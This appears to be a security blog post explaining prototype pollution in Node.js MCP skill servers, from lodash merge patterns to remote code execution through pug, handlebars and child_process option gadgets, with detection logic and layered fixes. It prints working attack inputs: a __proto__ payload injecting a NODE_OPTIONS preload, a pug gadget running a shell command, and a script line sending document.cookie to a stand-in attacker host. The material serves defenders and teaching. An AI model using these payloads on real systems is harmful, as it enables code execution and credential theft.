← Blog

Prototype Pollution in Claude MCP Skills: From lodash _.merge to Remote Code Execution

Prototype pollution is dismissed by many developers as an abstract JavaScript quirk — a theoretical nuisance that lets you add unexpected properties to Object.prototype but never actually causes exploitable harm. In Node.js MCP skill codebases, that dismissal is dangerous. When the polluted property reaches a code-exec path — child_process.exec option objects, pug template compile contexts, handlebars helper registrations, or eval-adjacent paths in template engines — prototype pollution achieves remote code execution without any additional memory corruption or privilege escalation. This post covers the four lodash patterns catalogued in SA-SKL-PROTOTYPE4, the escalation chain from pollution to RCE, SkillAudit's taint-tracking detection approach, and the complete fix pattern.

By SkillAudit  |  6 Nov 2026
Part 1 — The Mechanism

What prototype pollution is: the __proto__ chain and how assignment spreads

Every JavaScript object has an internal [[Prototype]] link to its prototype chain. When you access a property that does not exist as an own property on an object, the JavaScript engine walks the prototype chain until it finds the property or reaches null. For plain objects created with {} or new Object(), that prototype is Object.prototype — the shared root of all plain objects in the runtime.

Prototype pollution exploits the fact that JavaScript (prior to hardening) exposes the prototype link through the special __proto__ accessor property. When a function recursively merges user-supplied data into a target object and encounters the key "__proto__", it traverses the prototype link and assigns properties directly onto Object.prototype. Because every plain object inherits from Object.prototype, the assignment is immediately visible on every object in the process — including object literals used as option bags, default configuration objects, and Express.js middleware configuration.

// The prototype pollution primitive — the assignment that spreads
// If 'source' is: { "__proto__": { "isAdmin": true } }
// and merge(target, source) traverses the __proto__ key:
Object.prototype.isAdmin = true;

// Now, in every other module in the same process:
const opts = {};
console.log(opts.isAdmin); // true — inherited from Object.prototype
// Every object literal now has isAdmin = true as an inherited property
// typeof ({}).hasOwnProperty('isAdmin') === false — it's not an own property
// but ({}).isAdmin === true — it's found on the prototype chain

The critical point for MCP skills: the Node.js process is long-lived and shared across all tool calls handled in the same worker. A single prototype pollution from one tool call persists across all subsequent tool calls in that process — there is no per-request isolation of the prototype chain. A tool handler that processes user-supplied configuration before the process handles internal operations is a reliable pollution window.

Part 2 — The Lodash Attack Surface

The four lodash patterns from SA-SKL-PROTOTYPE4

Lodash is the most common utility library dependency in MCP skill codebases. It appears directly or transitively in roughly 60% of community MCP server projects on GitHub. Four distinct lodash patterns create prototype pollution vulnerabilities, catalogued as SA-SKL-PROTOTYPE4.

Pattern 1 — _.merge({}, userInput) follows the __proto__ key

Lodash _.merge performs a deep recursive merge. Prior to lodash 4.17.21, it followed the __proto__ key during traversal, assigning properties directly onto the prototype. Even in patched versions, calling _.merge({}, req.body) where req.body is parsed from user-supplied JSON is a vulnerability if the input is not pre-validated with a schema that rejects __proto__, constructor, and prototype keys. The issue is that _.merge is designed for recursive deep cloning of configuration objects, not for merging untrusted external data.

// VULNERABLE — PROTOTYPE4-001
// MCP skill tool handler: merges user-supplied config into defaults
app.post('/tools/configure', (req, res) => {
  const config = _.merge({}, defaultConfig, req.body);
  // If req.body = { "__proto__": { "shell": true, "env": { "NODE_OPTIONS": "--require=/tmp/evil.js" } } }
  // _.merge traverses __proto__ and assigns onto Object.prototype
  // All subsequent objects in this process inherit shell: true and the malicious NODE_OPTIONS
  applyConfig(config);
  res.json({ ok: true });
});
// FIXED — PROTOTYPE4-001
// Validate first with Ajv, rejecting __proto__ / constructor / prototype keys,
// then use _.mergeWith() with a customizer that blocks dangerous keys
import Ajv from 'ajv';
import _ from 'lodash';

const ajv = new Ajv({ allowUnionTypes: true });
const validateConfig = ajv.compile({
  type: 'object',
  additionalProperties: false,  // Rejects any key not in the schema — blocks __proto__
  properties: {
    theme: { type: 'string', enum: ['light', 'dark'] },
    timeout: { type: 'number', minimum: 1000, maximum: 30000 },
    // ... enumerate all allowed keys explicitly
  }
});

function safeMerge(target, source) {
  const DANGEROUS_KEYS = new Set(['__proto__', 'constructor', 'prototype']);
  return _.mergeWith(target, source, (objValue, srcValue, key) => {
    if (DANGEROUS_KEYS.has(key)) return objValue; // Refuse to merge dangerous keys
  });
}

app.post('/tools/configure', (req, res) => {
  if (!validateConfig(req.body)) {
    return res.status(400).json({ error: 'Invalid config', details: validateConfig.errors });
  }
  // Create a null-prototype target to prevent __proto__ assignment even if customizer misses
  const config = safeMerge(Object.create(null), req.body);
  applyConfig(config);
  res.json({ ok: true });
});

Pattern 2 — The JSON round-trip misconception

A common belief is that JSON.parse(JSON.stringify(input)) removes prototype pollution before the merge. It does not. JSON.stringify serializes own enumerable properties, including the own property __proto__ created when you do const obj = {}; obj['__proto__'] = { isAdmin: true }. JSON.parse creates a new object with __proto__ as an own string-keyed property (not activating the special accessor). But when this object is then passed to _.merge, lodash's traversal still follows the own __proto__ key and uses Object.assign semantics that activate the accessor, causing pollution.

// VULNERABLE — PROTOTYPE4-002: the round-trip does NOT protect against _.merge pollution
const rawInput = JSON.parse(req.body); // attacker sends: {"__proto__":{"admin":true}}

// Step 1: JSON.parse creates an object where __proto__ IS an own property
// (as a string key, not the prototype accessor — appears safe)
console.log(Object.getOwnPropertyNames(rawInput)); // ['__proto__']
console.log(rawInput.hasOwnProperty('__proto__'));  // true
console.log(Object.getPrototypeOf(rawInput) === Object.prototype); // true (not polluted yet)

// Step 2: _.merge traverses the __proto__ own property and DOES cause pollution
const result = _.merge({}, rawInput);
// Lodash internally does: target['__proto__'] = source['__proto__']
// This activates the __proto__ setter on Object.prototype
console.log(({}).admin); // true — Object.prototype is now polluted
// FIXED — PROTOTYPE4-002
// Use structuredClone() to deep-clone (safe, no prototype traversal issues)
// then validate with Ajv before any merge
const rawInput = JSON.parse(req.body);
const safeClone = structuredClone(rawInput); // structuredClone does not follow __proto__
if (!validateSchema(safeClone)) { return res.status(400).json({ error: 'Invalid input' }); }
// Now safe to use — Ajv rejected __proto__ before we got here

Pattern 3 — express-validator checkSchema() with user-supplied field names

Some MCP skills use express-validator's checkSchema() to build dynamic validation rules from user-supplied configuration objects. If the field names in the schema definition object come from user input, an attacker can supply __proto__ as a field name. The schema object is then built with __proto__ as a key, and when express-validator internally merges or assigns this schema, the prototype chain is polluted.

// VULNERABLE — PROTOTYPE4-003
// MCP skill tool that lets callers define custom form schemas
app.post('/tools/validate', (req, res) => {
  // req.body.fields = { "__proto__": { "required": true }, "name": { "isString": true } }
  const schema = {};
  for (const [field, rules] of Object.entries(req.body.fields)) {
    schema[field] = rules; // Assigns __proto__ as a key — may pollute depending on engine
  }

  // checkSchema() internally uses Object.assign-based merging
  const validators = checkSchema(schema);
  // ... run validation
});
// FIXED — PROTOTYPE4-003
// Allowlist field names before constructing the schema object
const DANGEROUS_KEYS = new Set(['__proto__', 'constructor', 'prototype']);
const ALLOWED_FIELDS = /^[a-zA-Z][a-zA-Z0-9_]{0,63}$/; // alphanumeric + underscore, no leading digit

app.post('/tools/validate', (req, res) => {
  const schema = {};
  for (const [field, rules] of Object.entries(req.body.fields ?? {})) {
    // Reject dangerous keys and enforce naming rules
    if (DANGEROUS_KEYS.has(field) || !ALLOWED_FIELDS.test(field)) {
      return res.status(400).json({ error: `Invalid field name: ${field}` });
    }
    schema[field] = rules;
  }
  const validators = checkSchema(schema);
  // ...
});

Pattern 4 — Object.assign(target, req.body) prototype replacement

Object.assign copies own enumerable properties from source to target. When the source has __proto__ as an own string property (created via JSON.parse of attacker-controlled input), Object.assign activates the special __proto__ setter on the target's prototype, assigning the attacker's value as the target's prototype. The target object now has a custom prototype that the attacker controls, and any hasOwnProperty() calls on the target throw TypeError because the standard hasOwnProperty method is no longer in the chain.

// VULNERABLE — PROTOTYPE4-004
app.post('/tools/settings', express.json(), (req, res) => {
  const settings = {};
  Object.assign(settings, req.body);
  // If req.body has own property __proto__ = { ... }:
  // Object.assign activates the __proto__ setter, replacing settings' prototype
  // settings.hasOwnProperty is now undefined — throws TypeError on next call
  if (settings.hasOwnProperty('theme')) { ... } // TypeError: settings.hasOwnProperty is not a function
});
// FIXED — PROTOTYPE4-004
// Use Ajv to validate, then assign only the validated (safe) properties explicitly
app.post('/tools/settings', express.json(), (req, res) => {
  if (!validateSettings(req.body)) {
    return res.status(400).json({ error: 'Invalid settings', details: validateSettings.errors });
  }
  // Assign into a null-prototype object — no __proto__ accessor to trigger
  const settings = Object.assign(Object.create(null), req.body);
  // Use Object.prototype.hasOwnProperty.call(settings, key) — safe on null-prototype objects
  if (Object.prototype.hasOwnProperty.call(settings, 'theme')) { ... }
});
Part 3 — Escalation

From pollution to RCE: the template engine gadget chain

Template engines — pug, handlebars, nunjucks, ejs — are common in MCP skill web UIs, audit report generation, and email rendering. All of them read configuration from plain object literals at compile time, and several expose known "gadgets" — properties that, when set on Object.prototype, are picked up by the template engine's internal code paths and lead directly to arbitrary code execution.

The pug gadget

Pug (formerly Jade) is a popular template engine used in Express-based MCP skill dashboards. Pug compiles templates to JavaScript functions. During compilation, it creates internal option objects with {} literals. If Object.prototype.block is set by a prototype pollution earlier in the request, pug's internal AST processing picks up the unexpected block node and passes it to the code generator, which emits the attacker-controlled string as JavaScript source that is then executed via new Function().

// Gadget chain — pug prototype pollution RCE
// Step 1: attacker sends: { "__proto__": { "block": { "type": "Text", "line": "process.mainModule.require('child_process').exec('id > /tmp/pwned')" } } }
// A vulnerable _.merge call early in the request handler processes this

// Step 2: later in the same request (or a subsequent request in the same process):
const pug = require('pug');
// pug.compile() creates internal AST nodes using {} literals
// {} now inherits .block from Object.prototype — the attacker's payload
// pug's block processing includes this as a template AST node
// pug's code generator emits the attacker string as JavaScript
const fn = pug.compile('p Hello'); // This compilation includes the attacker's code
// The result: arbitrary command is executed during template compilation

// MITIGATION:
// 1. Fix the prototype pollution source (the _.merge call) — this closes the gadget window
// 2. If you must compile templates after processing user input, use a worker thread with
//    a fresh V8 context (no shared prototype chain with the main thread)
// 3. Use Object.freeze(Object.prototype) in development to surface pollution attempts early

The handlebars gadget

Handlebars exposed a well-documented prototype pollution gadget via its __defineSetter__ and __lookupGetter__ property access patterns in its AST walker. The gadget was patched in handlebars 4.7.7, but older transitive dependencies (via audit-report-generator or email-template packages) may still use vulnerable versions. Even in patched versions, prototype pollution from lodash that sets Object.prototype.pendingContent can cause handlebars to append attacker-controlled content to the rendered output — a stored XSS in the audit report.

// Handlebars pollution gadget (pre-4.7.7) — also relevant for polluted pendingContent
// If Object.prototype.pendingContent = '<script>fetch(attacker, {body: document.cookie})</script>'
// handlebars picks up pendingContent during its frame rendering loop
// and appends it to the template output for every template compiled in this process

// Check your transitive dependency tree:
// npm ls handlebars
// Look for versions < 4.7.7 — common in email-templates, pdf-lib report packages

// Fix: pin handlebars to 4.7.7+ in package.json even as a transitive dependency
// "overrides": { "handlebars": "^4.7.7" }  // package.json overrides field (npm 8.3+)

The child_process.exec options gadget

When a MCP skill invokes shell commands via child_process.exec(cmd, options) and options is {} (or omitted, which defaults to {}), the options object inherits from Object.prototype. If the prototype has been polluted with shell: true and env: { NODE_OPTIONS: "--require=/tmp/evil.js" }, the exec call picks up those values and executes the shell command with the attacker's environment, achieving RCE via a preload script. This is the most direct path from prototype pollution to code execution in skills that call exec for utility tasks like git operations, linters, or format converters.

// Gadget: child_process.exec options inherit from polluted Object.prototype
// If Object.prototype.env = { NODE_OPTIONS: '--require=/tmp/evil.js' }
// and Object.prototype.shell = true

const { exec } = require('child_process');

// Somewhere in the skill's code — e.g. running eslint on uploaded code
exec('eslint ' + filePath, {}, (err, stdout) => {
  // {} options object inherits env and shell from polluted Object.prototype
  // The process starts with attacker's NODE_OPTIONS environment variable
  // /tmp/evil.js is loaded as a Node.js preload script
  // Arbitrary code runs in the context of the skill's process
});

// Fix: always use execFile() instead of exec(), pass explicit null prototype options
const { execFile } = require('child_process');
execFile('eslint', [filePath], {
  ...Object.create(null),  // null prototype prevents inheritance from polluted Object.prototype
  env: { PATH: process.env.PATH },  // Explicit allowlist of env vars — no NODE_OPTIONS
  timeout: 10000,
  cwd: sandboxDir,
}, (err, stdout) => { ... });
Part 4 — Detection

How SkillAudit detects prototype pollution: taint-tracking from tool call argument to _.merge call site

Static analysis for prototype pollution requires tracking the flow of user-supplied data (the taint source) from tool call arguments through intermediate transformations to the eventual merge or assignment call site (the sink). SkillAudit uses a tree-sitter based AST analysis in combination with a lightweight taint-propagation pass that flags the following patterns:

Source Transformation Sink Detection signal
req.body, params.*, tool call argument Direct or via intermediate variable _.merge(*, tainted) PROTOTYPE4-001: missing Ajv pre-validation or missing _.mergeWith customizer
JSON.parse(tainted) output JSON.stringify → JSON.parse round-trip _.merge(*, roundTripped) PROTOTYPE4-002: round-trip present but no key filtering before merge
req.body.fields or req.body.schema Dynamic key enumeration with Object.entries schema[field] = rules → checkSchema(schema) PROTOTYPE4-003: no field-name allowlist before schema construction
req.body Direct Object.assign(target, req.body) where target is not null-prototype PROTOTYPE4-004: assign to plain object target without Ajv pre-validation

SkillAudit's taint analysis does not require the pollution to have an observable gadget in the same file. The pollution pattern is flagged wherever user-supplied data flows into a known-dangerous merge or assign call, because the gadget may exist in any transitive dependency — including template engines, process spawn helpers, or logging libraries that the skill developer does not control.

Detection gap: Static taint-tracking cannot flag pollution gadgets in template engines or spawned process option objects because the gadget is in a dependency, not in the skill's own code. SkillAudit's audit report includes a dependency gadget scan that cross-references the skill's transitive dependency tree against a database of known pollution gadgets (pug AST walker, handlebars frame renderer, nunjucks runtime, ejs delimiter options).

Part 5 — Fixes

The complete fix pattern: Ajv schema + null-prototype target + _.mergeWith customizer

No single mitigation is sufficient on its own. The correct fix combines three independent layers, each of which blocks a different escalation path:

Layer 1 — Ajv schema with additionalProperties: false

Ajv validates the structure of user-supplied input before it touches any merge or assign call. With additionalProperties: false, any key not explicitly listed in the properties object is rejected with a validation error. This blocks __proto__, constructor, and prototype keys at the boundary, before the data enters the application logic.

import Ajv from 'ajv';

const ajv = new Ajv({ allowUnionTypes: true });

// Compile schema once at startup — not per-request
const validateToolInput = ajv.compile({
  type: 'object',
  additionalProperties: false,  // KEY: rejects any undeclared key including __proto__
  required: ['repoUrl'],
  properties: {
    repoUrl: {
      type: 'string',
      pattern: '^https://github\\.com/[a-zA-Z0-9_.-]+/[a-zA-Z0-9_.-]+$',
      maxLength: 200
    },
    branch: { type: 'string', pattern: '^[a-zA-Z0-9/_.-]{1,100}$' },
    options: {
      type: 'object',
      additionalProperties: false,  // Also restrict nested objects
      properties: {
        depth: { type: 'integer', minimum: 1, maximum: 50 }
      }
    }
  }
});

// Use in every tool handler that accepts user-controlled JSON
function toolHandler(input) {
  if (!validateToolInput(input)) {
    throw new Error('Invalid input: ' + ajv.errorsText(validateToolInput.errors));
  }
  // Safe to proceed — __proto__ cannot appear in input after this check
}

Layer 2 — Null-prototype merge target

Even if validation is bypassed (misconfiguration, missing validation on a new endpoint), using a null-prototype target as the base object prevents the __proto__ accessor from firing. Object.create(null) creates an object with no prototype chain at all — there is no __proto__ setter to trigger, so Object.assign and lodash's merge assign __proto__ as an ordinary own property on the null-prototype object rather than traversing the prototype chain.

// Null-prototype target as a defensive layer
const result = _.merge(Object.create(null), userInput);
// Even if userInput has __proto__ as an own property:
// Object.create(null) has no __proto__ setter — the assignment creates an own property
// rather than traversing to Object.prototype
// ({}).isAdmin is still false — Object.prototype was not polluted

// Important: when you later need to use the result as a plain object,
// reconstruct it with explicit property access rather than spreading:
const plainResult = {
  theme: result.theme ?? 'light',
  timeout: result.timeout ?? 5000,
};

Layer 3 — _.mergeWith customizer blocking dangerous keys

The customizer approach adds an explicit key-based blocklist inside the merge operation itself, as a final backstop. Even if a dangerous key passes the schema validator and the target has a prototype chain, the customizer returns the original objValue for any blocked key — preventing the assignment entirely.

import _ from 'lodash';

const DANGEROUS_KEYS = new Set(['__proto__', 'constructor', 'prototype']);

function safeMerge(target, ...sources) {
  return _.mergeWith(target, ...sources, (objValue, srcValue, key) => {
    // Block dangerous keys at the customizer level
    // Return objValue (the existing value) to prevent the assignment
    if (DANGEROUS_KEYS.has(key)) return objValue ?? undefined;
    // Return undefined to continue normal merge behavior for all other keys
    return undefined;
  });
}

// Usage — replace all _.merge() calls that handle external data with safeMerge()
const config = safeMerge(Object.create(null), defaultConfig, userInput);

Defense-in-depth: freeze Object.prototype in development

Running with a frozen prototype makes prototype pollution attempts throw a TypeError immediately, surfacing the vulnerability during development and testing rather than silently allowing it in production.

// In development / test environments only — do NOT freeze in production
// (freezing Object.prototype may break third-party code that extends it legitimately)
if (process.env.NODE_ENV === 'development' || process.env.NODE_ENV === 'test') {
  Object.freeze(Object.prototype);
  // Now: any attempt to assign a property onto Object.prototype throws
  // TypeError: Cannot add property isAdmin, object is not extensible
  // This surfaces prototype pollution attempts as test failures
}
Part 6 — Summary

Detection summary table

ID Severity Vulnerable pattern Gadget chain Fix
PROTOTYPE4-001 CRITICAL _.merge({}, req.body) without Ajv pre-validation pug, handlebars, exec options Ajv additionalProperties: false + _.mergeWith customizer
PROTOTYPE4-002 CRITICAL JSON round-trip before _.merge — round-trip does not protect Same gadgets — pollution still occurs at merge time structuredClone() + Ajv before merge
PROTOTYPE4-003 HIGH schema[field] = rules with user-supplied field names → checkSchema() express-validator internal merge Allowlist field names with regex + deny-list __proto__ before schema construction
PROTOTYPE4-004 CRITICAL Object.assign(plainObj, req.body) — __proto__ own property replaces prototype hasOwnProperty TypeError; exec options gadget Ajv pre-validation + Object.assign(Object.create(null), ...)

Related patterns: SA-SKL-PROTOTYPE4 has the full finding details and SkillAudit detection logic for all four patterns. SA-SKL-PROTOTYPE3 covers object spread and Object.assign patterns in HTTP middleware. SA-SKL-DESERIALIZE covers deserialization-based prototype pollution from YAML, BSON, and msgpack formats that also reach these same gadgets.